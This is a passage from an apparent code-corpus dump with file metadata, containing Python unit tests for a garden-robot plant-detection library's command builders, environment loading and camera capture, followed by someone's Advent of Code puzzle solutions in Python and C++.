= CeleryPy.set_user_env(\n label='PLANT_DETECTION_options', value=json.dumps({\"in\": \"puts\"}))\n self.set_env_var_static = {\n \"kind\": \"set_user_env\",\n \"args\": {},\n \"body\": [\n {\n \"kind\": \"pair\",\n \"args\": {\n \"label\": \"PLANT_DETECTION_options\",\n \"value\": \"{\\\"in\\\": \\\"puts\\\"}\"\n }\n }\n ]\n }\n # move_absolute: coordinate\n self.move_absolute_coordinate = CeleryPy.move_absolute(\n location=[10, 20, 30],\n offset=[40, 50, 60],\n speed=800)\n self.move_absolute_coordinate_static = {\n \"kind\": \"move_absolute\",\n \"args\": {\n \"location\": {\n \"kind\": \"coordinate\",\n \"args\": {\n \"x\": 10,\n \"y\": 20,\n \"z\": 30\n }\n },\n \"offset\": {\n \"kind\": \"coordinate\",\n \"args\": {\n \"x\": 40,\n \"y\": 50,\n \"z\": 60\n }\n },\n \"speed\": 800\n }\n }\n # move_absolute: tool\n self.move_absolute_tool = CeleryPy.move_absolute(\n location=['tool', 1],\n offset=[40, 50, 60],\n speed=800)\n self.move_absolute_tool_static = {\n \"kind\": \"move_absolute\",\n \"args\": {\n \"location\": {\n \"kind\": \"tool\",\n \"args\": {\n \"tool_id\": 1\n }\n },\n \"offset\": {\n \"kind\": \"coordinate\",\n \"args\": {\n \"x\": 40,\n \"y\": 50,\n \"z\": 60\n }\n },\n \"speed\": 800\n }\n }\n # move_absolute: plant\n self.move_absolute_plant = CeleryPy.move_absolute(\n location=['Plant', 1],\n offset=[40, 50, 60],\n speed=800)\n self.move_absolute_plant_static = {\n \"kind\": \"move_absolute\",\n \"args\": {\n \"location\": {\n \"kind\": \"point\",\n \"args\": {\n \"pointer_type\": \"Plant\",\n \"pointer_id\": 1\n }\n },\n \"offset\": {\n \"kind\": \"coordinate\",\n \"args\": {\n \"x\": 40,\n \"y\": 50,\n \"z\": 60\n }\n },\n \"speed\": 800\n }\n }\n # move_absolute: point\n self.move_absolute_point = CeleryPy.move_absolute(\n location=['GenericPointer', 1],\n offset=[40, 50, 60],\n speed=800)\n self.move_absolute_point_static = {\n \"kind\": \"move_absolute\",\n \"args\": {\n \"location\": {\n \"kind\": \"point\",\n \"args\": {\n \"pointer_type\": \"GenericPointer\",\n \"pointer_id\": 1\n }\n },\n \"offset\": {\n \"kind\": \"coordinate\",\n \"args\": {\n \"x\": 40,\n \"y\": 50,\n \"z\": 60\n }\n },\n \"speed\": 800\n }\n }\n # move_relative\n self.move_relative = CeleryPy.move_relative(\n distance=(100, 200, 300), speed=800)\n self.move_relative_static = {\n \"kind\": \"move_relative\",\n \"args\": {\n \"x\": 100,\n \"y\": 200,\n \"z\": 300,\n \"speed\": 800\n }\n }\n # data_update: all\n self.data_update = CeleryPy.data_update(endpoint='points')\n self.data_update_static = {\n \"kind\": \"data_update\",\n \"args\": {\n \"value\": \"update\"\n },\n \"body\": [\n {\n \"kind\": \"pair\",\n \"args\": {\n \"label\": \"points\",\n \"value\": \"*\"\n }\n }\n ]\n }\n # data_update: one\n self.data_update_id = CeleryPy.data_update(endpoint='points', ids_=101)\n self.data_update_id_static = {\n \"kind\": \"data_update\",\n \"args\": {\n \"value\": \"update\"\n },\n \"body\": [\n {\n \"kind\": \"pair\",\n \"args\": {\n \"label\": \"points\",\n \"value\": \"101\"\n }\n }\n ]\n }\n # data_update: ids\n self.data_update_list = CeleryPy.data_update(\n endpoint='points', ids_=[123, 456, 789])\n self.data_update_list_static = {\n \"kind\": \"data_update\",\n \"args\": {\n \"value\": \"update\"\n },\n \"body\": [\n {\n \"kind\": \"pair\",\n \"args\": {\n \"label\": \"points\",\n \"value\": \"123\"\n }\n },\n {\n \"kind\": \"pair\",\n \"args\": {\n \"label\": \"points\",\n \"value\": \"456\"\n }\n },\n {\n \"kind\": \"pair\",\n \"args\": {\n \"label\": \"points\",\n \"value\": \"789\"\n }\n }\n ]\n }\n # send_message: logs\n self.send_message = CeleryPy.send_message(\n message='Hello', message_type='fun')\n self.send_message_static = {\n \"kind\": \"send_message\",\n \"args\": {\n \"message\": \"Hello\",\n \"message_type\": \"fun\"\n }\n }\n # send_message: toast\n self.send_message_toast = CeleryPy.send_message(\n message='Hello', message_type='fun', channel='toast')\n self.send_message_toast_static = {\n \"kind\": \"send_message\",\n \"args\": {\n \"message\": \"Hello\",\n \"message_type\": \"fun\"\n },\n \"body\": [\n {\n \"kind\": \"channel\",\n \"args\": {\n \"channel_name\": \"toast\"\n }\n }\n ]\n }\n # send_message: channels\n self.send_message_channels = CeleryPy.send_message(\n message='Hello', message_type='fun', channel=['toast', 'email'])\n self.send_message_channels_static = {\n \"kind\": \"send_message\",\n \"args\": {\n \"message\": \"Hello\",\n \"message_type\": \"fun\"\n },\n \"body\": [\n {\n \"kind\": \"channel\",\n \"args\": {\n \"channel_name\": \"toast\"\n }\n },\n {\n \"kind\": \"channel\",\n \"args\": {\n \"channel_name\": \"email\"\n }\n }\n ]\n }\n # find_home\n self.find_home = CeleryPy.find_home(axis='all', speed=100)\n self.find_home_static = {\n \"kind\": \"find_home\",\n \"args\": {\n \"axis\": \"all\",\n \"speed\": 100\n }\n }\n # _if: execute\n self.if_statement = CeleryPy.if_statement(\n lhs='x', op='is', rhs=0, _then=1, _else=2)\n self.if_statement_static = {\n \"kind\": \"_if\",\n \"args\": {\n \"lhs\": \"x\",\n \"op\": \"is\",\n \"rhs\": 0,\n \"_then\": {\n \"kind\": \"execute\",\n \"args\": {\n \"sequence_id\": 1\n }\n },\n \"_else\": {\n \"kind\": \"execute\",\n \"args\": {\n \"sequence_id\": 2\n }\n }\n }\n }\n # _if: nothing\n self.if_statement_nothing = CeleryPy.if_statement(\n lhs='x', op='is', rhs=0)\n self.if_statement_nothing_static = {\n \"kind\": \"_if\",\n \"args\": {\n \"lhs\": \"x\",\n \"op\": \"is\",\n \"rhs\": 0,\n \"_then\": {\n \"kind\": \"nothing\",\n \"args\": {}\n },\n \"_else\": {\n \"kind\": \"nothing\",\n \"args\": {}\n }\n }\n }\n # write_pin\n self.write_pin = CeleryPy.write_pin(number=0, value=1)\n self.write_pin_static = {\n \"kind\": \"write_pin\",\n \"args\": {\n \"pin_number\": 0,\n \"pin_value\": 1,\n \"pin_mode\": 0\n }\n }\n # read_pin\n self.read_pin = CeleryPy.read_pin(number=0, mode=0, label='pin')\n self.read_pin_static = {\n \"kind\": \"read_pin\",\n \"args\": {\n \"pin_number\": 0,\n \"pin_mode\": 0,\n \"label\": \"pin\"\n }\n }\n # execute_sequence\n self.execute_sequence = CeleryPy.execute_sequence(sequence_id=1)\n self.execute_sequence_static = {\n \"kind\": \"execute\",\n \"args\": {\n \"sequence_id\": 1\n }\n }\n # execute_script\n self.execute_script = CeleryPy.execute_script(label='plant-detection')\n self.execute_script_static = {\n \"kind\": \"execute_script\",\n \"args\": {\n \"label\": \"plant-detection\"\n }\n }\n # take_photo\n self.take_photo = CeleryPy.take_photo()\n self.take_photo_static = {\n \"kind\": \"take_photo\",\n \"args\": {}\n }\n # wait\n self.wait = CeleryPy.wait(milliseconds=100)\n self.wait_static = {\n \"kind\": \"wait\",\n \"args\": {\n \"milliseconds\": 100\n }\n }\n\n def test_add_point(self):\n \"\"\"Check add_point celery script\"\"\"\n self.assertEqual(self.add_point_static, self.add_point)\n\n def test_set_env_var(self):\n \"\"\"Check set_env_var celery script\"\"\"\n self.assertEqual(self.set_env_var_static, self.set_env_var)\n\n def test_move_absolute_coordinate(self):\n \"\"\"Check move_absolute celery script with coordinates\"\"\"\n self.assertEqual(self.move_absolute_coordinate_static,\n self.move_absolute_coordinate)\n\n def test_move_absolute_tool(self):\n \"\"\"Check move_absolute celery script with a tool\"\"\"\n self.assertEqual(self.move_absolute_tool_static,\n self.move_absolute_tool)\n\n def test_move_absolute_plant(self):\n \"\"\"Check move_absolute celery script with a plant\"\"\"\n self.assertEqual(self.move_absolute_plant_static,\n self.move_absolute_plant)\n\n def test_move_absolute_point(self):\n \"\"\"Check move_absolute celery script with a location\"\"\"\n self.assertEqual(self.move_absolute_point_static,\n self.move_absolute_point)\n\n def test_move_relative(self):\n \"\"\"Check test_move_relative celery script\"\"\"\n self.assertEqual(self.move_relative_static,\n self.move_relative)\n\n def test_data_update(self):\n \"\"\"Check data_update Celery Script\"\"\"\n self.assertEqual(self.data_update_static, self.data_update)\n\n def test_data_update_one(self):\n \"\"\"Check data_update Celery Script for one ID\"\"\"\n self.assertEqual(self.data_update_id_static, self.data_update_id)\n\n def test_data_update_list(self):\n \"\"\"Check data_update Celery Script for a list of IDs\"\"\"\n self.assertEqual(self.data_update_list_static, self.data_update_list)\n\n def test_send_message(self):\n \"\"\"Check send_message Celery Script\"\"\"\n self.assertEqual(self.send_message_static, self.send_message)\n\n def test_send_message_toast(self):\n \"\"\"Check send_message Celery Script with toast selected\"\"\"\n self.assertEqual(self.send_message_toast_static,\n self.send_message_toast)\n\n def test_send_message_channels(self):\n \"\"\"Check send_message Celery Script with multiple channels selected\"\"\"\n self.assertEqual(self.send_message_channels_static,\n self.send_message_channels)\n\n def test_find_home(self):\n \"\"\"Check find_home Celery Script\"\"\"\n self.assertEqual(self.find_home_static, self.find_home)\n\n def test_if_statement(self):\n \"\"\"Check _if Celery Script\"\"\"\n self.assertEqual(self.if_statement_static, self.if_statement)\n\n def test_if_statement_nothing(self):\n \"\"\"Check _if Celery Script: do nothing\"\"\"\n self.assertEqual(self.if_statement_nothing_static,\n self.if_statement_nothing)\n\n def test_write_pin(self):\n \"\"\"Check write_pin Celery Script\"\"\"\n self.assertEqual(self.write_pin_static, self.write_pin)\n\n def test_read_pin(self):\n \"\"\"Check read_pin Celery Script\"\"\"\n self.assertEqual(self.read_pin_static, self.read_pin)\n\n def test_execute_sequence(self):\n \"\"\"Check execute_sequence Celery Script\"\"\"\n self.assertEqual(self.execute_sequence_static, self.execute_sequence)\n\n def test_execute_script(self):\n \"\"\"Check execute_script Celery Script\"\"\"\n self.assertEqual(self.execute_script_static, self.execute_script)\n\n def test_take_photo(self):\n \"\"\"Check execute_script Celery Script\"\"\"\n self.assertEqual(self.take_photo_static, self.take_photo)\n\n def test_wait(self):\n \"\"\"Check wait Celery Script\"\"\"\n self.assertEqual(self.wait_static, self.wait)\n" }, { "alpha_fraction": 0.6099823117256165, "alphanum_fraction": 0.6104240417480469, "avg_line_length": 31.811594009399414, "blob_id": "830070a9b341456cdedf1d4f5760eda5d6cfac44", "content_id": "62b47efe450f32eee1f7677dbedde26195de9499", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2264, "license_type": "no_license", "max_line_length": 79, "num_lines": 69, "path": "/plant_detection/tests/test_ENV.py", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"Capture Tests\n\nFor Plant Detection.\n\"\"\"\nimport os\nimport unittest\nimport json\ntry:\n import fakeredis\n test_redis = True\nexcept ImportError:\n test_redis = False\nfrom plant_detection import ENV\n\n\[email protected](test_redis, \"requires fakeredis\")\nclass LoadENVTest(unittest.TestCase):\n \"\"\"Check data retrieval from redis\"\"\"\n\n def setUp(self):\n self.r = fakeredis.FakeStrictRedis()\n self.testvalue = 'some test data'\n self.testjson = {\"label\": \"testdata\", \"value\": 5}\n self.badjson_string = '{\"label\": \"whoop'\n\n def test_env_load(self):\n \"\"\"Get user_env from redis\"\"\"\n self.r.set('BOT_STATUS.user_env.testkey', self.testvalue)\n self.assertEqual(\n ENV.redis_load('user_env', name='testkey',\n get_json=False, other_redis=self.r),\n self.testvalue)\n\n def test_json_env_load(self):\n \"\"\"Get json user_env from redis\"\"\"\n self.r.set('BOT_STATUS.user_env.testdata', json.dumps(self.testjson))\n self.assertEqual(ENV.redis_load(\n 'user_env', name='testdata', other_redis=self.r), self.testjson)\n\n def test_bad_json_env_load(self):\n \"\"\"Try to get bad json user_env from redis\"\"\"\n self.r.set('BOT_STATUS.user_env.testdata', self.badjson_string)\n self.assertEqual(\n ENV.redis_load('user_env', name='testdata', other_redis=self.r),\n None)\n\n def test_none_user_env_load(self):\n \"\"\"Try to get a non-existent user_env from redis\"\"\"\n self.assertEqual(\n ENV.redis_load('user_env', name='doesntexist', other_redis=self.r),\n None)\n\n def test_os_env_load(self):\n \"\"\"Try to get an env from os\"\"\"\n os.environ['oktestenv'] = 'test'\n self.assertEqual(ENV.load_env('oktestenv', get_json=False), 'test')\n\n def test_none_os_env_load(self):\n \"\"\"Try to get a non-existent env from os\"\"\"\n self.assertEqual(ENV.load_env('doesntexist'), None)\n\n def test_bad_json_os_env_load(self):\n \"\"\"Try to get bad json env from os\"\"\"\n os.environ['testbadjson'] = '{\"label\": \"whoop'\n self.assertEqual(ENV.load_env('testbadjson'), None)\n\n def tearDown(self):\n self.r.flushall()\n" }, { "alpha_fraction": 0.6266433000564575, "alphanum_fraction": 0.6371603608131409, "avg_line_length": 24.35555648803711, "blob_id": "517bf4f85a75575ef6b804de5066d99380c5da3b", "content_id": "decfc095285e3ea5f3806e0c691f629c9a1ca08a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1141, "license_type": "no_license", "max_line_length": 77, "num_lines": 45, "path": "/plant_detection/tests/test_capture.py", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"Capture Tests\n\nFor Plant Detection.\n\"\"\"\nimport os\nimport sys\nimport unittest\nimport numpy as np\nfrom plant_detection.Capture import Capture\n\n\nclass CheckCameraTest(unittest.TestCase):\n \"\"\"Check for camera\"\"\"\n\n def setUp(self):\n self.nullfile = open(os.devnull, 'w')\n sys.stdout = self.nullfile\n\n def test_camera_check(self):\n \"\"\"Test camera check\"\"\"\n Capture().camera_check()\n\n def tearDown(self):\n self.nullfile.close()\n sys.stdout = sys.__stdout__\n\n\nclass CheckImageSaveTest(unittest.TestCase):\n \"\"\"Save captured image\"\"\"\n\n def setUp(self):\n self.capture = Capture()\n shape = [100, 100, 3]\n self.capture.image = np.full(shape, 200, np.uint8)\n directory = os.path.dirname(os.path.realpath(__file__))[:-6] + os.sep\n self.expected_filename = directory + 'capture.jpg'\n\n def test_image_save(self):\n \"\"\"Test image save\"\"\"\n img_filename = self.capture.save(add_timestamp=False)\n self.assertEqual(img_filename, self.expected_filename)\n\n def tearDown(self):\n os.remove(self.expected_filename)\n" } ]
9
SharpBit/adventofcode
https://github.com/SharpBit/adventofcode
c342bd0954401d48402da6a04762a235ecf62195
e30b19660afb4d0e5e39f5b48a3f2f8d30ef6814
d9de96c144cb57cd7123d0be61526c49b9a82874
refs/heads/master
2022-12-22T06:28:10.311151
2022-12-14T05:52:42
2022-12-14T05:52:42
159,983,234
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6644295454025269, "alphanum_fraction": 0.6778523325920105, "avg_line_length": 12.636363983154297, "blob_id": "b50d026f83b72b8ab9b90df4c2ebf1304f10d0dd", "content_id": "88964a42e9742c013eb9e0127390019eff055e79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 149, "license_type": "no_license", "max_line_length": 38, "num_lines": 11, "path": "/2021/Day11/point.h", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#pragma once\n#include <vector>\n\nclass Point {\npublic:\n\tint x;\n\tint y;\n\tint energy;\n\tbool isFlashed = false;\n\tPoint(int x1, int y1, int energyLvl);\n};" }, { "alpha_fraction": 0.6221153736114502, "alphanum_fraction": 0.6346153616905212, "avg_line_length": 29.58823585510254, "blob_id": "d8d957c7187c46c075c483998d09f4a8cdd293e9", "content_id": "022a85f28913f696f018babe63a0211ca26cdd4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1040, "license_type": "no_license", "max_line_length": 91, "num_lines": 34, "path": "/2020/2020-09.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-09.txt') as f:\n data_stream = list(map(int, f.read().splitlines()))\n\n@timed\ndef part_one(data_stream):\n preamble_length = 25\n for i, num in enumerate(data_stream[preamble_length:]):\n preamble = data_stream[i:i + preamble_length]\n acceptable_nums = [x + y for j, x in enumerate(preamble) for y in preamble[j + 1:]]\n if num not in acceptable_nums:\n return num\n\n raise Exception('no invalid number')\n\n@timed\ndef part_two(data_stream, invalid_num):\n stream_length = 2\n while True:\n contiguous_lists = []\n for i in range(len(data_stream) - (stream_length - 1)):\n contiguous_lists.append([data_stream[i + j] for j in range(0, stream_length)])\n\n for possibility in contiguous_lists:\n if sum(possibility) == invalid_num:\n return min(possibility) + max(possibility)\n\n stream_length += 1\n\n\ninvalid_num = part_one(data_stream)\nprint(invalid_num)\nprint(part_two(data_stream, invalid_num))\n" }, { "alpha_fraction": 0.4764002561569214, "alphanum_fraction": 0.4965386986732483, "avg_line_length": 32.452632904052734, "blob_id": "1336a9f15fd48782f3a1854612897156f636d9e4", "content_id": "6620b072e8fbb1967e6a2c515e9eebd62b6d0071", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3178, "license_type": "no_license", "max_line_length": 104, "num_lines": 95, "path": "/2019/2019-10.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n@timed\ndef part_one():\n asteroid_map = open('inputs/2019-10.txt').read().splitlines()\n\n asteroids = []\n for y, row in enumerate(asteroid_map):\n for x, column in enumerate(row):\n if column == '#':\n asteroids.append((x, y))\n\n visible_list = []\n for a in asteroids:\n visible = set()\n for other in asteroids:\n if other != a:\n try:\n slope = (other[1] - a[1]) / (other[0] - a[0])\n except ZeroDivisionError:\n slope = None\n direction = ''\n if other[0] < a[0]:\n direction += 'L'\n elif other[0] > a[0]:\n direction += 'R'\n if other[1] < a[1]:\n direction += 'U'\n elif other[1] > a[1]:\n direction += 'D'\n visible.add((slope, direction))\n visible_list.append(len(visible))\n\n print(max(visible_list))\n\n return asteroids, asteroids[visible_list.index(max(visible_list))]\n\n@timed\ndef part_two(asteroids, bms):\n asteroids.remove(bms)\n asteroid_info = []\n for a in asteroids:\n try:\n slope = (a[1] - bms[1]) / (a[0] - bms[0])\n except ZeroDivisionError:\n slope = None\n direction = ''\n if a[0] < bms[0]:\n direction += 'L'\n elif a[0] > bms[0]:\n direction += 'R'\n if a[1] < bms[1]:\n direction += 'U'\n elif a[1] > bms[1]:\n direction += 'D'\n distance = abs(a[0] - bms[0]) + abs((a[1] - bms[1]))\n asteroid_info.append((slope, direction, distance, a))\n\n order = ('U', 'RU', 'R', 'RD', 'D', 'LD', 'L', 'LU')\n\n sorted_asteroids = []\n for i in range(8):\n to_append = [a for a in asteroid_info if a[1] == order[i]]\n if len(order[i]) == 2:\n # This SHOULD be reverse=True, but apparently a line going up and right has a negative slope\n # I mean the program works so I don't wanna fix this in case it breaks\n to_append = sorted(to_append, key=lambda a: a[0])\n sorted_asteroids += to_append\n\n vaporized_asteroid_count = 0\n non_vaporized_asteroids = sorted_asteroids.copy()\n while vaporized_asteroid_count < 200:\n vaporized_slopes = []\n for a in sorted_asteroids:\n if a not in non_vaporized_asteroids or a[:2] in vaporized_slopes:\n continue\n\n same_slope = [a]\n for other in non_vaporized_asteroids:\n if other != a:\n if other[0] == a[0] and other[1] == a[1]:\n same_slope.append(other)\n same_slope.sort(key=lambda a: a[2])\n vaporized_asteroid_count += 1\n if vaporized_asteroid_count == 200:\n print(same_slope[0][3][0] * 100 + same_slope[0][3][1])\n break\n else:\n non_vaporized_asteroids.remove(same_slope[0])\n vaporized_slopes.append(same_slope[0][:2])\n\n\n# bms = best monitoring station\nasteroids, bms = part_one()\npart_two(asteroids, bms)\n" }, { "alpha_fraction": 0.6433823704719543, "alphanum_fraction": 0.658088207244873, "avg_line_length": 16.0625, "blob_id": "b0e8b7b75497fd6c05d0ce89796334cc0fb22d94", "content_id": "342629d4207f407ebcf1a9c6c90e25ac43e42e68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 272, "license_type": "no_license", "max_line_length": 43, "num_lines": 16, "path": "/2021/Day04/board.h", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#pragma once\n#include <array>\n\nclass Board {\n\t\npublic:\n\tstd::array<std::array<int, 5>, 5> bingo;\n\tstd::array<std::array<bool, 5>, 5> marked;\n\tBoard();\n\tbool checkCols();\n\tbool checkRows();\n\tbool checkBoard();\n\tvoid mark(int i);\n\tint sumUnmarked();\n\tvoid displayBoard();\n};" }, { "alpha_fraction": 0.5934182405471802, "alphanum_fraction": 0.6210191249847412, "avg_line_length": 24.45945930480957, "blob_id": "e3a872094a93c0419a71170634f67d4b06884bfc", "content_id": "8d3fe4fb445c4e9e7e3cebae849ac6d19a724821", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 942, "license_type": "no_license", "max_line_length": 79, "num_lines": 37, "path": "/2020/2020-15.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-15.txt') as f:\n starting_nums = list(map(int, f.read().split(',')))\n\ndef calculate_spoken_num(sequence, index):\n spoken_index = len(sequence) + 1\n current_num = sequence[-1]\n sequence = {n: [i + 1] for i, n in enumerate(sequence)}\n while spoken_index <= index:\n if len(sequence[current_num]) == 1:\n # New number\n current_num = 0\n else:\n current_num = sequence[current_num][-1] - sequence[current_num][-2]\n\n try:\n sequence[current_num].append(spoken_index)\n except KeyError:\n sequence[current_num] = [spoken_index]\n\n spoken_index += 1\n\n\n return current_num\n\n@timed\ndef part_one(sequence):\n return calculate_spoken_num(sequence, 2020)\n\n@timed\ndef part_two(sequence):\n return calculate_spoken_num(sequence, 30_000_000)\n\n\nprint(part_one(starting_nums))\nprint(part_two(starting_nums))\n" }, { "alpha_fraction": 0.4600231647491455, "alphanum_fraction": 0.49710312485694885, "avg_line_length": 22.324323654174805, "blob_id": "ef85ca46617ddb615ee52b55fbc098dda17c4c3a", "content_id": "d448f529840406b9b7a2d68dc7b884c3d6a0b570", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 863, "license_type": "no_license", "max_line_length": 76, "num_lines": 37, "path": "/2018/2018-02.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n# Wow, this one was hard.\n# https://adventofcode.com/2018/day/2\n\n# Part 1\n@timed\ndef part_one():\n box_ids = open('inputs/2018-02.txt').read().split('\\n')\n\n times = []\n for b in box_ids:\n counts = dict((b.count(letter), letter) for letter in b)\n times.append((1 if counts.get(2) else 0, 1 if counts.get(3) else 0))\n print(sum([x[0] for x in times]) * sum(x[1] for x in times))\n\n# Part 2\n\n@timed\ndef part_two():\n box_ids = open('inputs/2018-02.txt').read().split('\\n')\n\n for x in box_ids:\n for y in box_ids:\n diff = 0\n index = 0\n for i, j in enumerate(x):\n if y[i] != j:\n diff += 1\n index = i\n if diff == 1:\n print(y[:index] + y[index + 1:])\n return\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.426130086183548, "alphanum_fraction": 0.4343991279602051, "avg_line_length": 26.074626922607422, "blob_id": "834c6e7aa27a60b8010374e172684b92a52daf67", "content_id": "1c347638042d1a6c11bf169075b4c9f80a6ebd0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1814, "license_type": "no_license", "max_line_length": 86, "num_lines": 67, "path": "/2022/day12.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from collections import deque\n\nfrom utils import read_lines, timed\n\ngrid = []\npossible_starts = []\nfor i, line in enumerate(read_lines('day12.txt')):\n for j, s in enumerate(line):\n if s == 'S':\n start = (i, j)\n possible_starts.append((i, j))\n elif s == 'E':\n end = (i, j)\n elif s == 'a':\n possible_starts.append((i, j))\n grid.append(list(line))\n\ndef bfs(start):\n curr = deque([start])\n next_ = deque()\n directions = [(1, 0), (-1, 0), (0, 1), (0, -1)]\n visited = set()\n steps = 0\n while True:\n while curr:\n row, col = curr.popleft()\n if (row, col) in visited:\n continue\n visited.add((row, col))\n for dr, dc in directions:\n r = row + dr\n c = col + dc\n if r not in range(len(grid)) or \\\n c not in range(len(grid[0])) or \\\n (r, c) in visited:\n continue\n if grid[row][col] in ('y', 'z') and grid[r][c] == 'E':\n return steps + 1\n\n curr_elev = ord('a') if grid[row][col] == 'S' else ord(grid[row][col])\n if grid[r][c] == 'E':\n next_elev = ord('z')\n elif grid[r][c] == 'S':\n next_elev = ord('a')\n else:\n next_elev = ord(grid[r][c])\n if next_elev - curr_elev <= 1:\n next_.append((r, c))\n\n if not next_:\n break\n curr = next_.copy()\n next_.clear()\n steps += 1\n return float('inf')\n\n@timed\ndef part_one():\n return bfs(start)\n\n@timed\ndef part_two():\n return min(bfs(a) for a in possible_starts)\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.5754498243331909, "alphanum_fraction": 0.5896691679954529, "avg_line_length": 23.446807861328125, "blob_id": "aecded560a437a2436395eed3a29018564df013e", "content_id": "f38ba6e562812ef6a6cc2e6c8395ed5377d324b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3446, "license_type": "no_license", "max_line_length": 134, "num_lines": 141, "path": "/2021/Day08/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <vector>\n#include <unordered_map>\n#include <algorithm>\n#include <cmath>\n\n// Checks to see if two strings have the same chars\nbool hasSameChars(std::string a, std::string b) {\n\tstd::unordered_map<char, bool> charArr1(a.length());\n\tfor (int i = 0; i < a.length(); i++) {\n\t\tcharArr1[a[i]] = true;\n\t}\n\tstd::unordered_map<char, bool> charArr2(b.length());\n\tfor (int i = 0; i < b.length(); i++) {\n\t\tcharArr2[b[i]] = true;\n\t}\n\treturn charArr1 == charArr2;\n}\n\n// Checks to see if a string contains all the characters of the substring\nbool containsChars(std::string str, std::string sub) {\n\tfor (int i = 0; i < sub.length(); i++) {\n\t\tif (str.find(sub[i]) == std::string::npos) { // If the character is not found\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}\n\n\nint main() {\n\tstd::ifstream input(\"input.txt\");\n\tstd::string line;\n\tstd::string signal;\n\tstd::vector<std::vector<std::string>> signals, outputs;\n\n\tint uniqueDigits = 0;\n\twhile (std::getline(input, line)) {\n\t\tstd::stringstream signalstream(line);\n\t\tstd::vector<std::string> linesignals, lineoutputs;\n\t\tbool passedPipe = true;\n\t\twhile (signalstream >> signal) {\n\t\t\tif (signal == \"|\") {\n\t\t\t\tpassedPipe = false;\n\t\t\t}\n\t\t\telse if (passedPipe) {\n\t\t\t\tlinesignals.push_back(signal);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tlineoutputs.push_back(signal);\n\t\t\t\tif (signal.length() <= 4 || signal.length() == 7) {\n\t\t\t\t\tuniqueDigits++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tsignals.push_back(linesignals);\n\t\toutputs.push_back(lineoutputs);\n\n\t}\n\n\tstd::cout << \"Part 1: \" << uniqueDigits << std::endl;\n\n\tint sum = 0;\n\tfor (int i = 0; i < signals.size(); i++) {\n\t\tstd::unordered_map<std::string, int> signalMap;\n\t\tstd::string one;\n\t\tstd::string four;\n\t\tfor (const std::string& s : signals.at(i)) {\n\t\t\tif (s.length() == 2) {\n\t\t\t\tsignalMap[s] = 1;\n\t\t\t\tone = s;\n\t\t\t}\n\t\t\telse if (s.length() == 3) {\n\t\t\t\tsignalMap[s] = 7;\n\t\t\t}\n\t\t\telse if (s.length() == 4) {\n\t\t\t\tsignalMap[s] = 4;\n\t\t\t\tfour = s;\n\t\t\t}\n\t\t\telse if (s.length() == 7) {\n\t\t\t\tsignalMap[s] = 8;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsignalMap[s] = -1; // We don't know yet\n\t\t\t}\n\t\t}\n\n\t\tstd::string fourArm(four); // the arm of the four not part of the one\n\n\t\t// Remove from four the 2 letters of one\n\t\tfourArm.erase(std::remove(fourArm.begin(), fourArm.end(), one[0]), fourArm.end());\n\t\tfourArm.erase(std::remove(fourArm.begin(), fourArm.end(), one[1]), fourArm.end());\n\n\t\t// Fill in the rest of the signals\n\t\tfor (auto& pair : signalMap) {\n\t\t\tif (pair.second != -1) continue;\n\t\t\tif (pair.first.length() == 5) {\n\t\t\t\tif (containsChars(pair.first, one)) {\n\t\t\t\t\tpair.second = 3;\n\t\t\t\t}\n\t\t\t\telse if (containsChars(pair.first, fourArm)) {\n\t\t\t\t\tpair.second = 5;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tpair.second = 2;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse { // length is 6\n\t\t\t\tif (containsChars(pair.first, four)) {\n\t\t\t\t\tpair.second = 9;\n\t\t\t\t}\n\t\t\t\telse if (containsChars(pair.first, one)) { // This has to go after checking for four otherwise it will always skip the four check\n\t\t\t\t\tpair.second = 0;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tpair.second = 6;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor (int x = 0; x < outputs.at(i).size(); x++) {\n\t\t\tint digit = -1;\n\t\t\tfor (const auto& pair : signalMap) {\n\t\t\t\tif (pair.first.length() != outputs.at(i).at(x).length()) continue;\n\t\t\t\tif (hasSameChars(outputs.at(i).at(x), pair.first)) {\n\t\t\t\t\tdigit = pair.second;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// First digit worth 10 ^ 3, then 10 ^ 2, etc.\n\t\t\tsum += digit * 